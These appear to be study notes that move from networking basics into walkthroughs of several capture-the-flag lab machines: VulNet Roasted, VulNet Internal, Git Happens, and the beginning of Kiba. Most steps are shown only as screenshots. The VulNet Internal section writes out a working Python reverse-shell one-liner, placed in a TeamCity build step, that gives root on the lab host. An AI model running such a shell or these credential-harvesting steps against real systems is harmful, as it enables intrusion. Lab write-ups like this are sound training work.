![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFrlU06cBikxX5vwgg%2Fimage.png?alt=media\&token=a37330bb-0e5a-41fc-9837-114be3dbc74c)

## Encapsulation

### Notes

As data is passed down each layer of the model, more information containing details specific to the layer in question is added on to the start of the transmission.

Encapsulation is the process by which data can be sent from one computer to another

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Ma_-L-NUkJ1mxbddZG2%2Fuploads%2FYZszYGRmQc28iLah0E2n%2Ffile.png?alt=media)

When the message is received by the second computer, it reverses the process. This is known as de-encapsulation.

### Questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFszpFDpdib_45SjdP%2Fimage.png?alt=media\&token=0fef2654-44e1-49af-a344-1794425c5b39)

## The TCP/IP Model

### Notes

It serves as the basis for real-world networking. The TCP/IP model consists of four layers: Application, Transport, Internet and Network Interface.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFtFyM9kVrl9LX9VAw%2Fimage.png?alt=media\&token=9efa6f86-9cc2-4dbb-991d-68f674d4c920)

The OSI Model and the TCP/IP model match up like this:&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFtRp8t2wX1-Rsg3Qs%2Fimage.png?alt=media\&token=9ec9a569-bcd3-4f22-b2cc-bbbdd71d1c29)

The process of forming a stable connection between two computers is called the three-way handshake.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFu9XDz_EZAxvzPPyX%2Fimage.png?alt=media\&token=2cf9a4d8-19bd-4578-8602-eb821e2bd4aa)

### Questions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFugJcNYWVC73UHHtN%2Fimage.png?alt=media\&token=8a4783c9-97b7-4a2d-bed1-505d9040b354)

## Networking Tools

### Ping

The ping command is used when we want to test whether a connection to a remote resource is possible.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFvPV38_d-2yLKEIU0%2Fimage.png?alt=media\&token=dec2a169-10f5-455a-afa0-4b1bddd64ed0)

### Traceroute

Traceroute can be used to map the path your request takes as it heads to the target machine. On Windows it is Tracert.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFw-aNSmFUStTE2lH5%2Fimage.png?alt=media\&token=6acc9799-9078-4ade-a5f5-4e34bc777353)

### WHOIS

It essentially allows you to query who a domain name is registered to.&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFxNBoLKKpdGSIQ1rq%2Fimage.png?alt=media\&token=ab6a2d46-8285-4e0e-b2c5-9b75fbcc0f2b)

### Dig

Dig gives us the TTL (Time To Live) of a queried DNS record.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McFNaS8jA-wBxp10YGD%2F-McFySEN7jLw8IGi5CEt%2Fimage.png?alt=media\&token=6282a179-2f5d-44b8-962c-f8c68a02f2d1)


# Challenges (CTF): Easy


# VulNet: Roasted

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MefVH3rI5i3YmPeMBtf%2Fimage.png?alt=media\&token=9bb0f097-2ece-4515-841f-d82c6ed87563)

## Scanning

Lets run some nmap scans to find open ports and services running on them

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-MefhIxM7IMvssAuwAxH%2Fimage.png?alt=media\&token=46a9ee0f-98cb-48f7-840b-11117070a654)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MefV9CbqWw4n0HZ3fSy%2F-Mefhc62u1HkriYnSW_C%2Fimage.png?alt=media\&token=18a60eb9-1171-4f30-a6d8-823a330141ee)

## Enumeration

Lets enumerate the SMB Shares using Smbmap as anonymous

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-Megdc-X2gV0fLLClF_E%2Fimage.png?alt=media\&token=44be4196-5949-4257-a2de-758fa299efd4)

Looks like we can read the IPC$ , lets enumerate valid domain users using impacket's lookupsid.py, lets save the output in a file called usernames. (Hit Enter for when it asks for the password)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-MegekZN6D0VEMDzdugz%2Fimage.png?alt=media\&token=91d1776c-bdff-40fa-85d2-045c724d7bb6)

Now lets only get the usernames from the file and save it into the same file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-MegfMKmDXi6-Y0H4avM%2Fimage.png?alt=media\&token=4d0a4211-91c4-4029-9716-63715a57b046)

Now lets use another python script from impacket that will check if there are any valid usernames and if they require Kerberos pre-authentication(PREAUTH) enabled. The domain is vulnnet-rst.local as we saw in the nmap scan. Also lets save any hashes we get in a file called asrep\_hashes.txt&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-Megfyger1lyZe_xiHry%2Fimage.png?alt=media\&token=d00ed881-b7aa-4d8a-87ad-9e0ad8717336)

We have a hash, lets crack it using hashcat

## Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-MeggIewEhg1qQZ-otn7%2Fimage.png?alt=media\&token=eea82e0b-0b6e-494c-9430-1466f98bccc1)

We have the password. Now lets try to access the smb shares with the credentials. Lets first look at the shares.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-Megi_hN6LW__zOp5Yqn%2Fimage.png?alt=media\&token=1f8c1d71-c1f4-46d2-a988-71dedc17d671)

We have two new shares, lets look at NETLOGIN first and download the available files onto our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-Megj0_PbZkdIwDCWETj%2Fimage.png?alt=media\&token=bd1c3667-ef97-429c-8959-5f4c4f7c8fa2)

Lets look at the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegbxP_crB2acFo7NZX%2F-MegjIBy138IwA3VwNH-%2Fimage.png?alt=media\&token=ec7dca3c-0dee-4ce0-88e1-2111a8a42b61)

We have credentials, lets login to the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegjRaWVO3cEHagWCph%2F-MegkqPd2oSBmX8yTLbl%2Fimage.png?alt=media\&token=7d959e22-8500-4294-90f3-392c44753361)

Lets read the user flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegjRaWVO3cEHagWCph%2F-Megl0Ic4gxeBn-eh3ZH%2Fimage.png?alt=media\&token=2f6ec32f-c0b2-4e8a-aa8c-364fe31c5dc1)

## Privilege Escalation

Lets look at what this user can do in more detail

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegjRaWVO3cEHagWCph%2F-MeglHqGyvfbHwxXWCe7%2Fimage.png?alt=media\&token=3b7487f2-4012-42df-9fcc-d0b6676429cf)

We belong the the admin group, so lets dump hashes with another impacket tool

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegjRaWVO3cEHagWCph%2F-MegmgV0TpztQUpCJtpw%2Fimage.png?alt=media\&token=52f7d5e9-86c8-4cef-b15c-f4e1724f2e15)

Lets login as admin

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegjRaWVO3cEHagWCph%2F-MegnZ2So1P3FCT-DAXc%2Fimage.png?alt=media\&token=4df65291-a787-425f-a20f-628ad5098b6e)

Lets read the admin flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MegjRaWVO3cEHagWCph%2F-Megnh5ljzv3iXk_tpu9%2Fimage.png?alt=media\&token=58033437-81ec-4b88-ac22-320d641d1f3b)


# VulNet: Internal

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeRBDFRnfnN53Pw_Cm0%2F-MeSFKPRBjzhOVhAYmFI%2Fimage.png?alt=media\&token=f5f8e5f7-b15a-4262-a71d-d9c1c037fadb)

## Scanning

Lets run nmap scan to find open ports and the services running on them.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSGH4DfuiaT3MOidg_%2F-MeSGQV_tgzzoudEjfHh%2Fimage.png?alt=media\&token=2e951868-277b-4dab-b56f-22684dd7e454)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSGH4DfuiaT3MOidg_%2F-MeSGUz0J4z7trxrWfkG%2Fimage.png?alt=media\&token=9e2c7872-3de6-440b-9c05-542102c64501)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSGH4DfuiaT3MOidg_%2F-MeSGY9TF7vQdcnM-GCF%2Fimage.png?alt=media\&token=4490329e-4552-4cc9-a649-a35bc2616018)

## Enumeration

Lets check port 9090 which is running SMB

Lets first look at what shares are on the system

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSGZrX_4wh5ygiXY-1%2F-MeSHPVcid27CU43oV4Y%2Fimage.png?alt=media\&token=dac947b7-c616-47ff-9917-8c8e2f2fee0a)

The Shares disk is interesting , lets try to access it as an anonymous user

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSGZrX_4wh5ygiXY-1%2F-MeSHdPTJR5o39kkkTGJ%2Fimage.png?alt=media\&token=8f522114-16e8-4da1-b383-1a4131e6c1cf)

We were able to access it, lets cd into these directories and transfer all the files onto our machine

Lets read the services.txt file&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSIBi5npvoLwjGKnXK%2Fimage.png?alt=media\&token=a3282ab4-3f12-4021-9725-21ea3cd03c68)

Looks like we have the first flag.

Lets read the other files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSILexMJopwTgI0Ux7%2Fimage.png?alt=media\&token=18b04a85-d086-493f-9225-d43b0b01f401)

There is nothing interesting, lets look at the other services running on the machine, lets first look at the RPC service running on port 111.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSJD5mWOFa66ct27wq%2Fimage.png?alt=media\&token=f907b0f6-8ef6-4620-9696-fae58d464d8b)

Looks like we have a directory, lets mount it onto our machine. First lets create a directory called mount and then use the command to mount the directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSJYe0RMomRZ3JYa8H%2Fimage.png?alt=media\&token=17128ae9-e232-474f-9853-c2648b3eba2e)

Lets look for interesting files in the directory. There is an interesting file in the redis directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSJyML2-C9QYMMHtDK%2Fimage.png?alt=media\&token=7eb8087f-2948-4757-8bb5-d8e5ded961e9)

There is a lot of information when we cat it, so lets look for pass strings so that we can get some information about the passwords and this is a configuration file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSKBuTEVkHxmt-F9d-%2Fimage.png?alt=media\&token=8917ce9c-6e60-4820-8c22-6d155784de4e)

Now that we have the password, lets try to access redis and look for the second flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSMJWCDnx7M6ZTZo0r%2Fimage.png?alt=media\&token=bbb391f8-7ac2-47b4-a766-d4f524cdf19b)

We have the second flag. Now lets look at the auth Key, but we cannot GET the key so lets look at its file type

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSMiD_bjojUG-XewzW%2Fimage.png?alt=media\&token=46ca771e-219b-4928-b645-6ce62a80bdd0)

Now that we know its a list key type, lets read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSN0PqlZ8i2o3oazwZ%2Fimage.png?alt=media\&token=703843d4-0de3-4355-ba80-f2618531434b)

We have a base64 strings, lets decode it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSN9GY9XufCB76-y5N%2Fimage.png?alt=media\&token=2c8ba3e9-bea8-4753-abb3-e4a5cf284a8a)

Looks like we have the credentials for the rsync service running on the system. Lets look at it in more detail and see what interesting files we can find.

## Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSNwZOgAz_Dob8vlXY%2Fimage.png?alt=media\&token=c28b40d3-e7d2-4b6f-a741-e6f907ab3b66)

Now we can get the files onto our machine or we can try to upload our ssh key and then login using ssh into the machine.

First we have to create our ssh key and then upload it to the machine.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSP3tcTuCPMX6D0HO9%2Fimage.png?alt=media\&token=1b4a6f57-7d72-49ba-83ef-2013afedca90)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSP_JcR6VUxZw9-9ii%2Fimage.png?alt=media\&token=0b71cb8f-b7e4-4566-9cfe-e90022dd3f89)

Now we can login

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSI9yJC0eJKOLTHSo9%2F-MeSPbyAEWW17QDisnJY%2Fimage.png?alt=media\&token=a68819ad-6c30-4041-8ee9-4f984ec26cdf)

Lets read the user flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSPe9Ur3BGWAULmN7V%2F-MeSPlYdle4zMjbCDB2m%2Fimage.png?alt=media\&token=51fca0f4-7f59-4d95-b55f-6f11725b7012)

## Privilege Escalation

Looking around there is an interesting directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSYmbNaPJktgDcRqKh%2Fimage.png?alt=media\&token=4c07583c-76ef-4ccf-b06a-439046508722)

Lets look at this directory and read the readme file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSZ22V7zgTbtUa92oZ%2Fimage.png?alt=media\&token=a83aee77-05fa-4b48-bc0b-809769cfc0ef)

Lets look at the ports running on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSZIdqoqpu0Ec5tzHb%2Fimage.png?alt=media\&token=c099c2ba-2b9b-4aff-b7f1-17a08a09f93d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSZLxAIvgrq0aY_B_H%2Fimage.png?alt=media\&token=725dffa5-7359-4fa1-b027-f6343322e467)

Something is running on port 8111. Lets set up port forwarding so that we can see what is running on this port.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSZkwjAc5F52TDAHRI%2Fimage.png?alt=media\&token=52497331-e8f0-44b0-8ae2-2713531d7b58)

Now lets go to localhost:8111 in the browser.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSZv3bOcY7mQ5Mji72%2Fimage.png?alt=media\&token=df2aa5bd-0ccd-44f7-8346-f520912aad16)

We have a TeamCity login page. Clicking on the Super User option, we need an authentication token to login, lets look for this on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeS_EFUEaki5NuXlcUs%2Fimage.png?alt=media\&token=8cf60793-fdee-4505-ada7-99c3933e2562)

```
grep -r "authentication token" 2>/dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeS_ql_cRqIxr15Ubj4%2Fimage.png?alt=media\&token=fa0ba99f-37d6-43b5-92ef-a30da3e2658a)

We have tokens, lets use one of them and login. (None of them work except the last one)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSa4wFBcipuvW-eabN%2Fimage.png?alt=media\&token=38a27fe3-3a09-4b7d-8afc-fae619aeb3de)

We are logged in.

Lets try to create a new project

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSaYu3qzCycJU9E_rY%2Fimage.png?alt=media\&token=ccd522ed-9b96-4294-b96e-a26beb3cdd57)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSab_vb2gWaSTwclLi%2Fimage.png?alt=media\&token=3d0b2ac1-6cce-4ddb-a68d-9b712aa0aa64)

Lets create a new Built Configuration

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSbXgxOcdVJoLbbx8F%2Fimage.png?alt=media\&token=6941fe5a-6c71-4867-933e-1e76ba8be870)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSbe5Rtoak87ssUCh-%2Fimage.png?alt=media\&token=7bfdeef1-fa19-4e25-a504-8dec74728a92)

Now lets go to the homepage and click on the project name

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSblkBmwgi9llHF_2f%2Fimage.png?alt=media\&token=0df9cf09-18da-42be-b384-a92c649cf33f)

Lets go to Edit Configuration Settings and then go to Built Steps and select python

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeSc5BircVHmQzCF2Sq%2Fimage.png?alt=media\&token=9ece16f8-79ee-4bff-b303-390ab8f7179b)

Lets add a reverse shell to the Custom Script command option that we can choose

```
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.8.64",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeScSHoaQz_yIxXWuLX%2Fimage.png?alt=media\&token=e7c4293c-9c06-4211-a566-d334d7f38c03)

Lets now start a netcat listener on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeScZngYmkD0mt8AVY2%2Fimage.png?alt=media\&token=357efd37-7775-4fbc-a0b1-9a8ba85b896a)

Lets save the file and run it by click run.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeScnBJZJAtzrD1ZnXy%2Fimage.png?alt=media\&token=6e7722ea-5026-4829-b915-d696802e054d)

We have a shell as root, lets read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MeSYXbNxteAL4yjyRRd%2F-MeScy7w_zxJxixhkgFB%2Fimage.png?alt=media\&token=0c69ffaa-e702-462c-8d7e-0ff056e0e203)


# Git Happens

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-Mdn8gvYpGq74Il5sUKt%2Fimage.png?alt=media\&token=f80fdb17-dd4a-486a-9e96-6f16758a7b24)

## Scanning

Lets run scans to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-Mdn9hq72ojnS0MsrkOI%2Fimage.png?alt=media\&token=6cad8122-7e64-402f-9e6a-51c4951f7015)

## Enumeration&#x20;

Lets check the webserver out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-Mdn9nv4O7ZYcR636TCI%2Fimage.png?alt=media\&token=c0d7301e-e968-434c-b29c-26bef26de3e1)

We have a login page. In the nmap scan we found the `/.git/` directory, lets check it out.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-MdnA-SNlY0Xrau-LMA-%2Fimage.png?alt=media\&token=b13ca071-92c5-4ff7-80d1-7295fb2bfa2f)

We have a bunch of directories.

Now we can manually look at all the directories, or we can use a tool called `GitTools`. Lets download it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-MdnAq45fQ9pBor2Q4e7%2Fimage.png?alt=media\&token=57e18cba-4ba8-4e51-9374-e8613fe4c482)

Now lets download the directories onto out machine and call it `clone`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-MdnBK1m-_TnzXmOeSgH%2Fimage.png?alt=media\&token=b7c8b334-5cb5-4d2d-816e-d3530928154e)

Now we can see all the directories on our machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-MdnBYGRw2z48Cicmn_5%2Fimage.png?alt=media\&token=0657ed3e-a193-4d85-8c45-d3ffa5ba3581)

Here, lets look at the logs as they are the most interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-MdnC6k30lJaU8KPZyfr%2Fimage.png?alt=media\&token=60f92d56-0849-4702-afd2-cf7e566a5472)

Looking at all of them , the highlighted one is the most interesting as it might show us interesting information about the login page. Lets look at it in more detail

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-MdnDG2vcGdc1WeQwvpv%2Fimage.png?alt=media\&token=59cef4c6-d80a-4d15-b8fb-243af9db59f8)

Scrolling to the end of the file, we find the flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdn6KbjtG-OC78FlbA6%2F-MdnDClsfvP0nDRaHFqR%2Fimage.png?alt=media\&token=3dddb2dd-45a3-4a48-ace1-004e8c0e7160)


# Kiba

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdmy51wIfnhDJU4Q3iF%2Fimage.png?alt=media\&token=f511e4bf-ad83-4221-966d-191c5325ee42)

Lets search on google for the answer to the first question

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdmyxvy-DD6Jrf_EnLf%2Fimage.png?alt=media\&token=04ddd7df-d9ac-4228-a3e0-6d1f7dfece9c)

## Scanning

Lets run network scans to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn-SD5RFwi0F92mbb_%2Fimage.png?alt=media\&token=679ed526-5d2d-4a41-ba63-f249da762045)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn-MY1JpljiONOAPMk%2Fimage.png?alt=media\&token=226728c9-1e38-4d30-8d81-a6f74f461033)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdmxyZB80yRdVdMIUPs%2F-Mdn-q0d79_7RxDdk8HV%2Fimage.png?alt=media\&token=e367af37-138a-4b35-b8d6-55abd7494754)

## Enumeration

Lets check the webpage running on port 80

